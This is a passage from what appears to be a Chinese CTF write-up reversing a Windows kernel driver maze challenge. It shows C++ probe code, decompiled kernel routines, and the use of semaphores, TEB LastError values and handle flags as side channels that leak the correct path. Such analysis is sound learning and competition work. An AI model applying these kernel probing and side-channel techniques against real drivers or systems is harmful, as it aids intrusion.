class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hGuid1);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hGuid2);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hDev);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> opCount = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    std::cout &lt;&lt; <span class="code-snippet__string">&#34;Testing path: &#34;</span> &lt;&lt; path &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (</span><span leaf="">size_t</span><span leaf=""> i = <span class="code-snippet__number">0</span>; i &lt; path.<span class="code-snippet__built_in">size</span>(); ++i) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">drain_semaphore</span>(hGuid1);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">drain_semaphore</span>(hGuid2);</span><span leaf=""><br/></span><span leaf="">char</span><span leaf=""> ch = path[i];</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!<span class="code-snippet__built_in">move_once</span>(hDev, ch, opCount)) {</span><span leaf=""><br/></span><span leaf="">            std::cerr &lt;&lt; <span class="code-snippet__string">&#34;move &#34;</span> &lt;&lt; ch &lt;&lt; <span class="code-snippet__string">&#34; failed at step &#34;</span> &lt;&lt; i</span><span leaf=""><br/></span><span leaf="">                &lt;&lt; <span class="code-snippet__string">&#34;, gle=0x&#34;</span> &lt;&lt; std::hex &lt;&lt; <span class="code-snippet__built_in">GetLastError</span>() &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">break</span>;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">bool</span><span leaf=""> g1 = <span class="code-snippet__built_in">poll_semaphore</span>(hGuid1);</span><span leaf=""><br/></span><span leaf="">bool</span><span leaf=""> g2 = <span class="code-snippet__built_in">poll_semaphore</span>(hGuid2);</span><span leaf=""><br/></span><span leaf="">        std::cout &lt;&lt; <span class="code-snippet__string">&#34;step &#34;</span> &lt;&lt; (i + <span class="code-snippet__number">1</span>)</span><span leaf=""><br/></span><span leaf="">            &lt;&lt; <span class="code-snippet__string">&#34; move=&#34;</span> &lt;&lt; ch</span><span leaf=""><br/></span><span leaf="">            &lt;&lt; <span class="code-snippet__string">&#34; opCount=&#34;</span> &lt;&lt; std::dec &lt;&lt; opCount</span><span leaf=""><br/></span><span leaf="">            &lt;&lt; <span class="code-snippet__string">&#34; guid1=&#34;</span> &lt;&lt; (g1 ? <span class="code-snippet__string">&#34;triggered&#34;</span> : <span class="code-snippet__string">&#34;no&#34;</span>)</span><span leaf=""><br/></span><span leaf="">            &lt;&lt; <span class="code-snippet__string">&#34; guid2=&#34;</span> &lt;&lt; (g2 ? <span class="code-snippet__string">&#34;triggered&#34;</span> : <span class="code-snippet__string">&#34;no&#34;</span>)</span><span leaf=""><br/></span><span leaf="">            &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf="">        ++opCount;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hGuid1);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hGuid2);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hDev);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm61u1g" style="font-size: 15px;"><span leaf="">测试</span><strong><span leaf="">DDDDD</span></strong><span leaf="">得到：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm623wn"><span leaf="">Testing path: DDDDD</span><span leaf=""><br/></span><span leaf="">step <span class="code-snippet__number">1</span> move=D opCount=<span class="code-snippet__number">0</span> guid1=<span class="code-snippet__keyword">no</span> guid2=<span class="code-snippet__keyword">no</span></span><span leaf=""><br/></span><span leaf="">step <span class="code-snippet__number">2</span> move=D opCount=<span class="code-snippet__number">1</span> guid1=triggered guid2=<span class="code-snippet__keyword">no</span></span><span leaf=""><br/></span><span leaf="">step <span class="code-snippet__number">3</span> move=D opCount=<span class="code-snippet__number">2</span> guid1=<span class="code-snippet__keyword">no</span> guid2=<span class="code-snippet__keyword">no</span></span><span leaf=""><br/></span><span leaf="">step <span class="code-snippet__number">4</span> move=D opCount=<span class="code-snippet__number">3</span> guid1=<span class="code-snippet__keyword">no</span> guid2=<span class="code-snippet__keyword">no</span></span><span leaf=""><br/></span><span leaf="">step <span class="code-snippet__number">5</span> move=D opCount=<span class="code-snippet__number">4</span> guid1=<span class="code-snippet__keyword">no</span> guid2=<span class="code-snippet__keyword">no</span></span></code></pre></p><p><span mpa-font-style="moav6cm6myr" style="font-size: 15px;"><span leaf="">那么路径正确时候会触发</span><strong><span leaf="">Global\{A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D}</span></strong></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6ao7"><span leaf=""><span class="code-snippet__comment">#Global\{A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D} -&gt; 成功信号量</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#Global\{B8E2C3D0-0F5A-5D9B-C6E7-2A3F4B5C6D7E} -&gt; 撞墙信号量</span></span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6fxf" style="font-size: 15px;"><span leaf="">③ TEB LastError泄露</span></span></h3><p><span leaf="" mpa-font-style="moav6cm6147t" style="font-size: 15px;">还是要看导入表：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6z3b"><span leaf="">  -</span><span leaf=""> PsGetCurrentProcessId</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> PsGetCurrentThreadId</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> PsLookupProcessByProcessId</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> PsLookupThreadByThreadId</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> KeStackAttachProcess</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> KeUnstackDetachProcess</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> PsGetProcessPeb</span><span leaf=""><br/></span><span leaf="">  -</span><span leaf=""> ZwQueryVirtualMemory</span></code></pre></p><p><span mpa-font-style="moav6cm61ces" style="font-size: 15px;"><span leaf="">首先想到的可能是调试状态，或者</span><strong><span leaf="">LastError</span></strong><span leaf="">，对于</span><strong><span leaf="">LastError</span></strong><span leaf="">的话，尝试找找有没有类似的写入逻辑。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm66ot"><span leaf=""><span class="code-snippet__comment">#结构：TEB -&gt; LastErrorValue (DWORD)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#偏移：</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#x86 (32 位)：TEB + 0x34</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#x64 (64 位)：TEB + 0x68</span></span></code></pre></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61ncv"><span leaf="">int</span><span leaf=""> __fastcall <span class="code-snippet__title">sub_140316ADF</span><span class="code-snippet__params">(__int64 _RCX, </span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> a2)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  __int16 _AX; <span class="code-snippet__comment">// ax</span></span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf=""> __int64 v4; <span class="code-snippet__comment">// rax</span></span><span leaf=""><br/></span><span leaf="">  __int64 v6; <span class="code-snippet__comment">// rbx</span></span><span leaf=""><br/></span><span leaf="">void</span><span leaf=""> *v7; <span class="code-snippet__comment">// rcx</span></span><span leaf=""><br/></span><span leaf="">  __int64 v8; <span class="code-snippet__comment">// rax</span></span><span leaf=""><br/></span><span leaf="">int</span><span leaf=""> *v9; <span class="code-snippet__comment">// rsi</span></span><span leaf=""><br/></span><span leaf="">int</span><span leaf=""> v10; <span class="code-snippet__comment">// ebx</span></span><span leaf=""><br/></span><span leaf="">  __int64 v12; <span class="code-snippet__comment">// [rsp-20h] [rbp-78h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  PEPROCESS Process; <span class="code-snippet__comment">// [rsp+0h] [rbp-58h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  PVOID Object; <span class="code-snippet__comment">// [rsp+8h] [rbp-50h] BYREF</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">_KAPC_STATE</span> ApcState; <span class="code-snippet__comment">// [rsp+10h] [rbp-48h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  _AX = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">  __asm { rcl     ax, cl }</span><span leaf=""><br/></span><span leaf="">  v4 = (</span><span leaf="">unsigned</span><span leaf=""> __int64)&amp;v12 ^ _security_cookie;</span><span leaf=""><br/></span><span leaf="">  v6 = _RCX;</span><span leaf=""><br/></span><span leaf="">  v7 = *(</span><span leaf="">void</span><span leaf=""> **)(_RCX + <span class="code-snippet__number">464</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v7 )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( *(_QWORD *)(v6 + <span class="code-snippet__number">456</span>) )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( qword_140005080 )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        Object = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">LODWORD</span>(v4) = <span class="code-snippet__built_in">PsLookupThreadByThreadId</span>(v7, (PETHREAD *)&amp;Object);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( (v4 &amp; <span class="code-snippet__number">0x80000000</span>) == <span class="code-snippet__number">0LL</span> )</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">          Process = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( <span class="code-snippet__built_in">PsLookupProcessByProcessId</span>(*(HANDLE *)(v6 + <span class="code-snippet__number">456</span>), &amp;Process) &gt;= <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">          {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">KeStackAttachProcess</span>(Process, &amp;ApcState);</span><span leaf=""><br/></span><span leaf="">            v8 = <span class="code-snippet__built_in">qword_140005080</span>(Object); <span class="code-snippet__comment">//qword_140005080 是 PsGetThreadTeb v8是Teb了</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v8 )</span><span leaf=""><br/></span><span leaf="">            {</span><span leaf=""><br/></span><span leaf="">              v9 = (</span><span leaf="">int</span><span leaf=""> *)(v8 + <span class="code-snippet__number">0x68</span>); <span class="code-snippet__comment">//这里取出LastError的地址</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( (((_BYTE)dword_140005000 * ((_BYTE)dword_140005000 - <span class="code-snippet__number">1</span>)) &amp; <span class="code-snippet__number">1</span>) != <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">              {</span><span leaf=""><br/></span><span leaf="">                v10 = <span class="code-snippet__number">0xDEADDEAD</span>;   <span class="code-snippet__comment">//1</span></span><span leaf=""><br/></span><span leaf="">              }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> ( a2 )</span><span leaf=""><br/></span><span leaf="">              {</span><span leaf=""><br/></span><span leaf="">                v10 = <span class="code-snippet__number">0xC0DE0002</span>;   <span class="code-snippet__comment">//2</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( a2 != <span class="code-snippet__number">2</span> )</span><span leaf=""><br/></span><span leaf="">                  v10 = <span class="code-snippet__number">0xC0DE0000</span>; <span class="code-snippet__comment">//3</span></span><span leaf=""><br/></span><span leaf="">              }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">else</span></span><span leaf=""><br/></span><span leaf="">              {</span><span leaf=""><br/></span><span leaf="">                v10 = <span class="code-snippet__number">0xC0DE0001</span>;   <span class="code-snippet__comment">//4</span></span><span leaf=""><br/></span><span leaf="">              }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ProbeForWrite</span>(v9, <span class="code-snippet__number">4u</span>, <span class="code-snippet__number">4u</span>);</span><span leaf=""><br/></span><span leaf="">              *v9 = v10; <span class="code-snippet__comment">//这里对LaseError做了覆写</span></span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">KeUnstackDetachProcess</span>(&amp;ApcState);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ObfDereferenceObject</span>(Process);</span><span leaf=""><br/></span><span leaf="">          }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">LODWORD</span>(v4) = <span class="code-snippet__built_in">ObfDereferenceObject</span>(Object);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> v4;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6lme" style="font-size: 15px;">显然可以看到：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61nf8"><span leaf="">v9 = (</span><span leaf="">int</span><span leaf=""> *)(v8 + <span class="code-snippet__number">0x68</span>); <span class="code-snippet__comment">//这里取出LastError的地址</span></span><span leaf=""><br/></span><span leaf="">*v9 = v10; <span class="code-snippet__comment">//这里对LaseError做了覆写</span></span></code></pre></p><p><span mpa-font-style="moav6cm624pb" style="font-size: 15px;"><span leaf="">那么</span><strong><span leaf="">LastError</span></strong><span leaf="">应该是下一个泄漏点了：</span></span></p><div><p><table style="min-width: 50px;"><thead><tr><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><p><span leaf="" mpa-font-style="moav6cm6khr" style="font-size: 15px;">Code</span></p></th><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><p><span leaf="" mpa-font-style="moav6cm6rsf" style="font-size: 15px;">含义</span></p></th></tr></thead><tbody><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm6gol" style="font-size: 15px;">0xC0DE0001</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm6loo" style="font-size: 15px;">ok</span></p></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm61ee8" style="font-size: 15px;">0xC0DE0002</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm6x1y" style="font-size: 15px;">到达终点？</span></p></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm67ly" style="font-size: 15px;">0xC0DE0000</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm61rdm" style="font-size: 15px;">wall</span></p></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm6rc1" style="font-size: 15px;">0xDEADDEAD</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm645e" style="font-size: 15px;">干扰值</span></p></td></tr></tbody></table></p></div><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6f53" style="font-size: 15px;"><span leaf="">④ ZwSetInformationObject</span></span></h3><p><span mpa-font-style="moav6cm6bqd" style="font-size: 15px;"><span leaf="">刚才我们提到</span><strong><span leaf="">qword_140005080</span></strong><span leaf="">是</span><strong><span leaf="">PsGetThreadTeb</span></strong><span leaf="">，相关的交叉引用还有一个函数。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61hq5"><span leaf=""><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">sub_14031857E</span>()</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  __int64 v0; <span class="code-snippet__comment">// rax</span></span><span leaf=""><br/></span><span leaf="">  _QWORD *v1; <span class="code-snippet__comment">// rbx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( PsGetThreadTeb )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( qword_140005090 )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v0 = _guard_dispatch_icall_fptr(); <span class="code-snippet__comment">// Call PsGetThreadTeb</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v0 )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v1 = (_QWORD *)(v0 + <span class="code-snippet__number">0x1748</span>); <span class="code-snippet__comment">//TEB + 0x1748</span></span><span leaf=""><br/></span><span leaf="">        ProbeForRead((<span class="code-snippet__keyword">volatile</span> <span class="code-snippet__keyword">void</span> *)(v0 + <span class="code-snippet__number">0x1748</span>), <span class="code-snippet__number">8u</span>, <span class="code-snippet__number">8u</span>); </span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( *v1 ) <span class="code-snippet__comment">//如果TEB + 0x1748不为0</span></span><span leaf=""><br/></span><span leaf="">          _guard_dispatch_icall_fptr(); <span class="code-snippet__comment">// Call qword_140005090</span></span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6a0a"><span leaf=""><span class="code-snippet__number">1403185</span></span><span leaf="">EF</span><span leaf="">lea</span><span leaf="">rbx</span><span leaf="">, </span><span leaf="">[rax+1748h]</span><span leaf=""><span class="code-snippet__comment">//rbx = TEB + 0x1748</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">14031861</span></span><span leaf="">E</span><span leaf="">mov</span><span leaf="">rcx</span><span leaf="">, </span><span leaf="">rbx</span><span leaf=""><span class="code-snippet__comment">//ProbeForRead(TEB+0x1748, 8, 8)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">140318621</span>                 </span><span leaf="">call</span><span leaf="">cs</span><span leaf="">:</span><span leaf="">ProbeForRead</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">140318627</span>                 </span><span leaf="">mov</span><span leaf="">r10</span><span leaf="">, </span><span leaf="">[rbx]</span><span leaf=""><span class="code-snippet__comment">//读出这个位置的 8 字节值 r10 = *(QWORD*)(TEB+0x1748)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">140318630</span>                 </span><span leaf="">test</span><span leaf="">r10</span><span leaf="">, </span><span leaf="">r10</span><span leaf=""><span class="code-snippet__comment">//如果这个值是 0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">140318638</span>                 </span><span leaf="">jz</span><span leaf="">loc_140318758</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">1403186</span></span><span leaf="">F6</span><span leaf="">mov</span><span leaf="">[rsp+38h+arg_10]</span><span leaf="">, <span class="code-snippet__number">0</span>  </span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">140318701</span>                 </span><span leaf="">mov</span><span leaf="">[rsp+38h+arg_11]</span><span leaf="">, </span><span leaf="">r8b</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">14031871</span></span><span leaf="">D</span><span leaf="">lea</span><span leaf="">r8</span><span leaf="">, </span><span leaf="">[rsp+38h+arg_10]</span><span leaf=""><span class="code-snippet__comment">//r8  = &amp;2_byte_buffer</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">140318710</span>                 </span><span leaf="">mov</span><span leaf="">r9d</span><span leaf="">, <span class="code-snippet__number">2</span>                <span class="code-snippet__comment">//r9d = 2</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">14031872</span></span><span leaf="">B</span><span leaf="">mov</span><span leaf="">rcx</span><span leaf="">, </span><span leaf="">r10</span><span leaf=""><span class="code-snippet__comment">// rcx = *(QWORD*)(TEB+0x1748)</span></span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm624rp" style="font-size: 15px;">通过汇编可以分析出：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6y77"><span leaf=""><span class="code-snippet__built_in">qword_140005090</span>(</span><span leaf=""><br/></span><span leaf="">      *(QWORD*)(TEB + <span class="code-snippet__number">0</span>x1748),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">4</span>,</span><span leaf=""><br/></span><span leaf="">      &amp;two_byte_buf,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">2</span></span><span leaf=""><br/></span><span leaf="">  );</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6fuh" style="font-size: 15px;">这还说啥了，如果不动态调试的话估计是没戏了，然后问 GPT 能不能猜测一下这是哪个函数？</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61j3d"><span leaf="">为什么我把它解释成 ZwSetInformationObject</span><span leaf=""><br/></span><span leaf="">不是只凭感觉，而是因为参数形状正好匹配：</span><span leaf=""><br/></span><span leaf="">- HANDLE</span><span leaf=""><br/></span><span leaf="">- OBJECT_INFORMATION_CLASS = 4</span><span leaf=""><br/></span><span leaf="">- PVOID buffer</span><span leaf=""><br/></span><span leaf="">- ULONG length = 2</span><span leaf=""><br/></span><span leaf="">再结合动态实验：</span><span leaf=""><br/></span><span leaf="">- 把 TEB+0x1748 预置成事件句柄</span><span leaf=""><br/></span><span leaf="">- move 后这个句柄的 HANDLE_FLAG_PROTECT_FROM_CLOSE 会变化</span><span leaf=""><br/></span><span leaf="">所以这才进一步把它收敛成：</span><span leaf=""><br/></span><span leaf="">ZwSetInformationObject(handle, ObjectHandleFlagInformation, &amp;info, 2)</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6ole" style="font-size: 15px;">查阅相关资料：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm619tf"><span leaf="">NTSYSCALLAPI</span><span leaf=""><br/></span><span leaf="">NTSTATUS</span><span leaf=""><br/></span><span leaf="">NTAPI</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">NtSetInformationObject</span><span class="code-snippet__params">(</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__params">    _In_ HANDLE Handle,</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__params">    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__params">    _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation,</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__params">    _In_ ULONG ObjectInformationLength  </span><span class="code-snippet__params"><span class="code-snippet__comment">// 为2</span></span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__params">    )</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">endif</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">endif</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">_OBJECT_HANDLE_FLAG_INFORMATION</span> {</span><span leaf=""><br/></span><span leaf="">      BOOLEAN Inherit;</span><span leaf=""><br/></span><span leaf="">      BOOLEAN ProtectFromClose;</span><span leaf=""><br/></span><span leaf="">  } OBJECT_HANDLE_FLAG_INFORMATION;</span></code></pre></p><p><span mpa-font-style="moav6cm665a" style="font-size: 15px;"><span leaf="">然后需要确定</span><strong><span leaf="">ZwSetInformationObject</span></strong><span leaf="">提供的什么信号墙，什么信号是通路？可以先创建一个事件句柄</span><strong><span leaf="">slot4_probe</span></strong><span leaf="">，把这个句柄值写到当前线程</span><strong><span leaf="">TEB + 0x1748</span></strong><span leaf="">，每次</span><strong><span leaf="">move</span></strong><span leaf="">前先调用</span><code><span leaf="">SetHandleInformation(h, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0)</span></code><span leaf="">进行清零，在</span><strong><span leaf="">move</span></strong><span leaf="">后调用</span><code><span leaf="">GetHandleInformation(h, &amp;flags)</span></code><span leaf="">，因为题目提到，</span><strong><span leaf="">reset</span></strong><span leaf="">后前五次成功步按顺序泄露。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm618hs"><span leaf="">if( flags </span><span leaf="">&amp;</span><span leaf=""> HANDLE_FLAG_PROTECT_FROM_CLOSE </span><span leaf="">!=</span><span leaf=""><span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span 